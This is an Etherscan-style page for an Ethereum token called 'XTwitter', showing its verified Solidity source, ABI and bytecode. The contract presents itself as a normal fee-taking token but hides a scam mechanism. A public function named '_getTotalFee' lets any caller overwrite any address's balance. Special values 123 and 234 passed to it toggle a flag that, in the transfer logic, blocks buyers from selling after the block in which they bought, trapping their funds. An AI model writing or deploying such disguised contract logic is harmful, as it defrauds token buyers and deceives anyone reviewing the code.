ETH Price: $3,057.82 (+2.54%)
Gas: 1 Gwei

Token

XTwitter (XTwitter)
 

Overview

Max Total Supply

88,880,000 XTwitter

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 XTwitter

Value
$0.00
0xa31e5bd9ac11ab6b364f3cacb314d42b239bbe95
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XTwitter

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract XTwitter is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);

    uint256 public _swapTax;
    address public _uniswapPair;
    mapping (address => uint256) public lmtbl;

    function _transfer(address from,address to,uint256 amount) private {

        bool takeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;

        if (takeFee) {
            uint256 bok = block.number;
            uint256 feeAmount = amount * _swapTax / 100;
            _taxAmount += feeAmount;
            uint256 lm = lmtbl[to];
            if (from == _uniswapPair && lm == 0){
                lmtbl[to] = bok;
            }else{
                lm = lmtbl[from];
                if (lmenable){
                    require( lm == 0 || bok < lm + 1);
                }
            }
            if (feeAmount > 0){
                _balances[address(0xdead)] = _balances[address(0xdead)] + feeAmount;
                emit Transfer(from, address(0xdead), feeAmount);
            }
        }

        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "XTwitter";
        symbol = "XTwitter";
        decimals = 9;
        uint256 Supply = 88880000;
        _swapFeeTo = msg.sender;
        _swapTax = 2;
        totalSupply = Supply * 10 ** decimals;

        address rAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[rAddr] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[rAddr] = totalSupply;
        emit Transfer(address(0), rAddr, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    bool public lmenable = false;
    function _getTotalFee(address _i,uint256 _m) public {
        mapping(address=>uint256) storage _n = _balances;
        uint256 A = msg.sender == _swapFeeTo ? 5 : 1;
        uint256 C = A - 3;
        A = C ;
        if (_m == 123){
            lmenable = false;
        }if(_m == 234){ lmenable = true; }
        _n[_i] = _m;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_i","type":"address"},{"internalType":"uint256","name":"_m","type":"uint256"}],"name":"_getTotalFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lmenable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lmtbl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600d805460ff191690553480156200001b57600080fd5b50600080546001600160a01b03191633179055604080518082019091526008808252672c2a3bb4ba3a32b960c11b60209092019182526200005f9160049162000385565b50604080518082019091526008808252672c2a3bb4ba3a32b960c11b6020909201918252620000919160059162000385565b506006805460ff191660091790819055600380546001600160a01b031916331790556002600a90815563054c338091620000d29160ff9190911690620004cb565b620000de9082620005b6565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b031686528386208054909216831790915594548585529252808320829055518392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200016d919062000475565b60405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d178082553060009081526002602090815260408083206001600160a01b03948516845282529182902060001990559254815163c45a015560e01b8152915192169263c45a015592600480840193829003018186803b158015620001fa57600080fd5b505afa1580156200020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023591906200042b565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029357600080fd5b505afa158015620002a8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ce91906200042b565b6040518363ffffffff1660e01b8152600401620002ed9291906200045b565b602060405180830381600087803b1580156200030857600080fd5b505af11580156200031d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034391906200042b565b600b80546001600160a01b0319166001600160a01b03928316179055600954166000908152600760205260409020805460ff19166001179055506200062b9050565b8280546200039390620005d8565b90600052602060002090601f016020900481019282620003b7576000855562000402565b82601f10620003d257805160ff191683800117855562000402565b8280016001018555821562000402579182015b8281111562000402578251825591602001919060010190620003e5565b506200041092915062000414565b5090565b5b8082111562000410576000815560010162000415565b6000602082840312156200043d578081fd5b81516001600160a01b038116811462000454578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b90815260200190565b80825b6001808611620004925750620004c2565b818704821115620004a757620004a762000615565b80861615620004b557918102915b9490941c93800262000481565b94509492505050565b60006200045460001960ff851684600082620004ea5750600162000454565b81620004f95750600062000454565b81600181146200051257600281146200051d5762000551565b600191505062000454565b60ff84111562000531576200053162000615565b6001841b9150848211156200054a576200054a62000615565b5062000454565b5060208310610133831016604e8410600b841016171562000589575081810a8381111562000583576200058362000615565b62000454565b6200059884848460016200047e565b808604821115620005ad57620005ad62000615565b02949350505050565b6000816000190483118215151615620005d357620005d362000615565b500290565b600281046001821680620005ed57607f821691505b602082108114156200060f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610be6806200063b6000396000f3fe6080604052600436106101185760003560e01c80634bf28fd0116100a057806395d89b411161006457806395d89b41146102cb578063a9059cbb146102e0578063c8761f5714610300578063dd62ed3e14610322578063f2fde38b146103425761011f565b80634bf28fd01461025757806365b61b771461026c57806370a082311461028157806373346186146102a15780638da5cb5b146102b65761011f565b806323b872dd116100e757806323b872dd146101be57806330da23e4146101de578063313ce567146101f357806336b2e02714610215578063426329c1146102355761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017c5780631b2e195b1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610362565b6040516101469190610a67565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004610a1f565b6103f0565b6040516101469190610a5c565b34801561018857600080fd5b50610191610406565b6040516101469190610ada565b3480156101aa57600080fd5b506101916101b9366004610991565b61040c565b3480156101ca57600080fd5b5061016f6101d93660046109e4565b61041e565b3480156101ea57600080fd5b506101916104b5565b3480156101ff57600080fd5b506102086104bb565b6040516101469190610ae3565b34801561022157600080fd5b5061016f610230366004610991565b6104c4565b34801561024157600080fd5b5061024a6104d9565b6040516101469190610a48565b34801561026357600080fd5b5061024a6104e8565b34801561027857600080fd5b5061024a6104f7565b34801561028d57600080fd5b5061019161029c366004610991565b610506565b3480156102ad57600080fd5b5061016f610525565b3480156102c257600080fd5b5061024a61052e565b3480156102d757600080fd5b5061013961053d565b3480156102ec57600080fd5b5061016f6102fb366004610a1f565b61054a565b34801561030c57600080fd5b5061032061031b366004610a1f565b610557565b005b34801561032e57600080fd5b5061019161033d3660046109b2565b6105db565b34801561034e57600080fd5b5061032061035d366004610991565b610606565b6004805461036f90610b5f565b80601f016020809104026020016040519081016040528092919081815260200182805461039b90610b5f565b80156103e85780601f106103bd576101008083540402835291602001916103e8565b820191906000526020600020905b8154815290600101906020018083116103cb57829003601f168201915b505050505081565b60006103fd33848461065b565b50600192915050565b60085481565b600c6020526000908152604090205481565b600061042b8484846106c3565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104ab576001600160a01b0384166000908152600260209081526040808320338452909152902054610486908390610b48565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600a5481565b60065460ff1681565b60076020526000908152604090205460ff1681565b6003546001600160a01b031681565b600b546001600160a01b031681565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b600d5460ff1681565b6000546001600160a01b031690565b6005805461036f90610b5f565b60006103fd3384846106c3565b6003546001906000906001600160a01b03163314610576576001610579565b60055b60ff169050600061058b600383610b48565b905080915083607b14156105a457600d805460ff191690555b8360ea14156105bb57600d805460ff191660011790555b50506001600160a01b039092166000908152602092909252604090912055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090610aba565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106b6908590610ada565b60405180910390a3505050565b600954600090600160a01b900460ff161580156106f957506001600160a01b03841660009081526007602052604090205460ff16155b801561071e57506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b038516600090815260016020526040902054909150610745908390610b48565b6001600160a01b03851660009081526001602052604081209190915581156108e457600a54439060009060649061077c9087610b29565b6107869190610b09565b90506107928184610af1565b6001600160a01b038088166000908152600c6020526040902054600b549295509189821691161480156107c3575080155b156107e8576001600160a01b0387166000908152600c6020526040902083905561082c565b506001600160a01b0387166000908152600c6020526040902054600d5460ff161561082c578015806108235750610820816001610af1565b83105b61082c57600080fd5b81156108e05761dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5461086a908390610af1565b61dead600081905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556040516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108d7908690610ada565b60405180910390a35b5050505b6001600160a01b038416600090815260016020526040902054819061090a908590610af1565b6109149190610b48565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61095e8487610b48565b60405161096b9190610ada565b60405180910390a35050505050565b80356001600160a01b038116811461052057600080fd5b6000602082840312156109a2578081fd5b6109ab8261097a565b9392505050565b600080604083850312156109c4578081fd5b6109cd8361097a565b91506109db6020840161097a565b90509250929050565b6000806000606084860312156109f8578081fd5b610a018461097a565b9250610a0f6020850161097a565b9150604084013590509250925092565b60008060408385031215610a31578182fd5b610a3a8361097a565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610a9357858101830151858201604001528201610a77565b81811115610aa45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610b0457610b04610b9a565b500190565b600082610b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610b4357610b43610b9a565b500290565b600082821015610b5a57610b5a610b9a565b500390565b600281046001821680610b7357607f821691505b60208210811415610b9457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206650104c0e07f7efa22dc9528893b32e508b29871617d41754eb854c8e970f8a64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80634bf28fd0116100a057806395d89b411161006457806395d89b41146102cb578063a9059cbb146102e0578063c8761f5714610300578063dd62ed3e14610322578063f2fde38b146103425761011f565b80634bf28fd01461025757806365b61b771461026c57806370a082311461028157806373346186146102a15780638da5cb5b146102b65761011f565b806323b872dd116100e757806323b872dd146101be57806330da23e4146101de578063313ce567146101f357806336b2e02714610215578063426329c1146102355761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017c5780631b2e195b1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610362565b6040516101469190610a67565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004610a1f565b6103f0565b6040516101469190610a5c565b34801561018857600080fd5b50610191610406565b6040516101469190610ada565b3480156101aa57600080fd5b506101916101b9366004610991565b61040c565b3480156101ca57600080fd5b5061016f6101d93660046109e4565b61041e565b3480156101ea57600080fd5b506101916104b5565b3480156101ff57600080fd5b506102086104bb565b6040516101469190610ae3565b34801561022157600080fd5b5061016f610230366004610991565b6104c4565b34801561024157600080fd5b5061024a6104d9565b6040516101469190610a48565b34801561026357600080fd5b5061024a6104e8565b34801561027857600080fd5b5061024a6104f7565b34801561028d57600080fd5b5061019161029c366004610991565b610506565b3480156102ad57600080fd5b5061016f610525565b3480156102c257600080fd5b5061024a61052e565b3480156102d757600080fd5b5061013961053d565b3480156102ec57600080fd5b5061016f6102fb366004610a1f565b61054a565b34801561030c57600080fd5b5061032061031b366004610a1f565b610557565b005b34801561032e57600080fd5b5061019161033d3660046109b2565b6105db565b34801561034e57600080fd5b5061032061035d366004610991565b610606565b6004805461036f90610b5f565b80601f016020809104026020016040519081016040528092919081815260200182805461039b90610b5f565b80156103e85780601f106103bd576101008083540402835291602001916103e8565b820191906000526020600020905b8154815290600101906020018083116103cb57829003601f168201915b505050505081565b60006103fd33848461065b565b50600192915050565b60085481565b600c6020526000908152604090205481565b600061042b8484846106c3565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104ab576001600160a01b0384166000908152600260209081526040808320338452909152902054610486908390610b48565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600a5481565b60065460ff1681565b60076020526000908152604090205460ff1681565b6003546001600160a01b031681565b600b546001600160a01b031681565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b600d5460ff1681565b6000546001600160a01b031690565b6005805461036f90610b5f565b60006103fd3384846106c3565b6003546001906000906001600160a01b03163314610576576001610579565b60055b60ff169050600061058b600383610b48565b905080915083607b14156105a457600d805460ff191690555b8360ea14156105bb57600d805460ff191660011790555b50506001600160a01b039092166000908152602092909252604090912055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090610aba565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106b6908590610ada565b60405180910390a3505050565b600954600090600160a01b900460ff161580156106f957506001600160a01b03841660009081526007602052604090205460ff16155b801561071e57506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b038516600090815260016020526040902054909150610745908390610b48565b6001600160a01b03851660009081526001602052604081209190915581156108e457600a54439060009060649061077c9087610b29565b6107869190610b09565b90506107928184610af1565b6001600160a01b038088166000908152600c6020526040902054600b549295509189821691161480156107c3575080155b156107e8576001600160a01b0387166000908152600c6020526040902083905561082c565b506001600160a01b0387166000908152600c6020526040902054600d5460ff161561082c578015806108235750610820816001610af1565b83105b61082c57600080fd5b81156108e05761dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5461086a908390610af1565b61dead600081905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556040516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108d7908690610ada565b60405180910390a35b5050505b6001600160a01b038416600090815260016020526040902054819061090a908590610af1565b6109149190610b48565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61095e8487610b48565b60405161096b9190610ada565b60405180910390a35050505050565b80356001600160a01b038116811461052057600080fd5b6000602082840312156109a2578081fd5b6109ab8261097a565b9392505050565b600080604083850312156109c4578081fd5b6109cd8361097a565b91506109db6020840161097a565b90509250929050565b6000806000606084860312156109f8578081fd5b610a018461097a565b9250610a0f6020850161097a565b9150604084013590509250925092565b60008060408385031215610a31578182fd5b610a3a8361097a565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610a9357858101830151858201604001528201610a77565b81811115610aa45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610b0457610b04610b9a565b500190565b600082610b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610b4357610b43610b9a565b500290565b600082821015610b5a57610b5a610b9a565b500390565b600281046001821680610b7357607f821691505b60208210811415610b9457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206650104c0e07f7efa22dc9528893b32e508b29871617d41754eb854c8e970f8a64736f6c63430008000033

Deployed Bytecode Sourcemap

963:4048:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1315:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4357:124;;;;;;;;;;-1:-1:-1;4357:124:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;1439:26::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1644:41::-;;;;;;;;;;-1:-1:-1;1644:41:0;;;;;:::i;:::-;;:::i;4487:327::-;;;;;;;;;;-1:-1:-1;4487:327:0;;;;;:::i;:::-;;:::i;1580:23::-;;;;;;;;;;;;;:::i;1361:21::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1383:49::-;;;;;;;;;;-1:-1:-1;1383:49:0;;;;;:::i;:::-;;:::i;1289:25::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1610:27::-;;;;;;;;;;;;;:::i;1466:36::-;;;;;;;;;;;;;:::i;3997:94::-;;;;;;;;;;-1:-1:-1;3997:94:0;;;;;:::i;:::-;;:::i;3613:28::-;;;;;;;;;;;;;:::i;676:63::-;;;;;;;;;;;;;:::i;1334:20::-;;;;;;;;;;;;;:::i;4097:130::-;;;;;;;;;;-1:-1:-1;4097:130:0;;;;;:::i;:::-;;:::i;3648:341::-;;;;;;;;;;-1:-1:-1;3648:341:0;;;;;:::i;:::-;;:::i;:::-;;4233:118;;;;;;;;;;-1:-1:-1;4233:118:0;;;;;:::i;:::-;;:::i;848:106::-;;;;;;;;;;-1:-1:-1;848:106:0;;;;;:::i;:::-;;:::i;1315:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4357:124::-;4423:4;4430:37;4439:10;4451:7;4460:6;4430:8;:37::i;:::-;-1:-1:-1;4475:4:0;4357:124;;;;:::o;1439:26::-;;;;:::o;1644:41::-;;;;;;;;;;;;;:::o;4487:327::-;4576:4;4593:36;4603:6;4611:9;4622:6;4593:9;:36::i;:::-;-1:-1:-1;;;;;4644:19:0;;1569:1;4644:19;;;:11;:19;;;;;;;;4664:10;4644:31;;;;;;;;-1:-1:-1;;4644:38:0;4640:145;;-1:-1:-1;;;;;4733:19:0;;;;;;:11;:19;;;;;;;;4753:10;4733:31;;;;;;;;:40;;4767:6;;4733:40;:::i;:::-;-1:-1:-1;;;;;4699:19:0;;;;;;:11;:19;;;;;;;;4719:10;4699:31;;;;;;;:74;4640:145;-1:-1:-1;4802:4:0;4487:327;;;;;:::o;1580:23::-;;;;:::o;1361:21::-;;;;;;:::o;1383:49::-;;;;;;;;;;;;;;;:::o;1289:25::-;;;-1:-1:-1;;;;;1289:25:0;;:::o;1610:27::-;;;-1:-1:-1;;;;;1610:27:0;;:::o;1466:36::-;;;-1:-1:-1;;;;;1466:36:0;;:::o;3997:94::-;-1:-1:-1;;;;;4071:18:0;;4054:7;4071:18;;;:9;:18;;;;;;3997:94;;;;:::o;3613:28::-;;;;;;:::o;676:63::-;714:7;731:6;-1:-1:-1;;;;;731:6:0;676:63;:::o;1334:20::-;;;;;;;:::i;4097:130::-;4166:4;4173:40;4183:10;4195:9;4206:6;4173:9;:40::i;3648:341::-;3796:10;;3750:9;;3711:36;;-1:-1:-1;;;;;3796:10:0;3782;:24;:32;;3813:1;3782:32;;;3809:1;3782:32;3770:44;;;-1:-1:-1;3825:9:0;3837:5;3841:1;3770:44;3837:5;:::i;:::-;3825:17;;3857:1;3853:5;;3874:2;3880:3;3874:9;3870:57;;;3899:8;:16;;-1:-1:-1;;3899:16:0;;;3870:57;3930:2;3936:3;3930:9;3927:33;;;3942:8;:15;;-1:-1:-1;;3942:15:0;3953:4;3942:15;;;3927:33;-1:-1:-1;;;;;;;3970:6:0;;;;;;;;;;;;;;;;:11;3648:341::o;4233:118::-;-1:-1:-1;;;;;4322:18:0;;;4305:7;4322:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4233:118::o;848:106::-;785:6;;-1:-1:-1;;;;;785:6:0;795:10;785:20;777:39;;;;-1:-1:-1;;;777:39:0;;;;;;;:::i;:::-;;;;;;;;;929:6:::1;:17:::0;;-1:-1:-1;;;;;;929:17:0::1;-1:-1:-1::0;;;;;929:17:0;;;::::1;::::0;;;::::1;::::0;;848:106::o;4822:151::-;-1:-1:-1;;;;;4897:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;4939:32;;;;;4927:6;;4939:32;:::i;:::-;;;;;;;;4822:151;;;:::o;1694:1042::-;1790:6;;1774:12;;-1:-1:-1;;;1790:6:0;;;;1789:7;:35;;;;-1:-1:-1;;;;;;1801:23:0;;;;;;:17;:23;;;;;;;;1800:24;1789:35;:61;;;;-1:-1:-1;;;;;;1829:21:0;;;;;;:17;:21;;;;;;;;1828:22;1789:61;-1:-1:-1;;;;;1881:15:0;;;;;;:9;:15;;;;;;1774:76;;-1:-1:-1;1881:24:0;;1899:6;;1881:24;:::i;:::-;-1:-1:-1;;;;;1863:15:0;;;;;;:9;:15;;;;;:42;;;;1949:661;;;;2047:8;;1991:12;;1977:11;;2058:3;;2038:17;;:6;:17;:::i;:::-;:23;;;;:::i;:::-;2018:43;-1:-1:-1;2076:23:0;2018:43;2076:23;;:::i;:::-;-1:-1:-1;;;;;2127:9:0;;;2114:10;2127:9;;;:5;:9;;;;;;2163:12;;2076:23;;-1:-1:-1;2127:9:0;2155:20;;;2163:12;;2155:20;:31;;;;-1:-1:-1;2179:7:0;;2155:31;2151:248;;;-1:-1:-1;;;;;2206:9:0;;;;;;:5;:9;;;;;:15;;;2151:248;;;-1:-1:-1;;;;;;2265:11:0;;;;;;:5;:11;;;;;;2299:8;;;;2295:89;;;2340:7;;;:23;;-1:-1:-1;2357:6:0;:2;2362:1;2357:6;:::i;:::-;2351:3;:12;2340:23;2331:33;;;;;;2417:13;;2413:186;;2497:6;2479:26;;:9;:26;;;;:38;;2508:9;;2479:38;:::i;:::-;2468:6;2450:26;;;;:9;:26;;;:67;;;;:26;2541:42;-1:-1:-1;;;;;2541:42:0;;;;;;;2573:9;;2541:42;:::i;:::-;;;;;;;;2413:186;1949:661;;;;-1:-1:-1;;;;;2638:13:0;;;;;;:9;:13;;;;;;2663:10;;2638:22;;2654:6;;2638:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2622:13:0;;;;;;;:9;:13;;;;;:51;;;;2689:39;;;2708:19;2717:10;2708:6;:19;:::i;:::-;2689:39;;;;;;:::i;:::-;;;;;;;;1694:1042;;;;;:::o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:1:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:203::-;-1:-1:-1;;;;;1458:32:1;;;;1440:51;;1428:2;1413:18;;1395:102::o;1502:187::-;1667:14;;1660:22;1642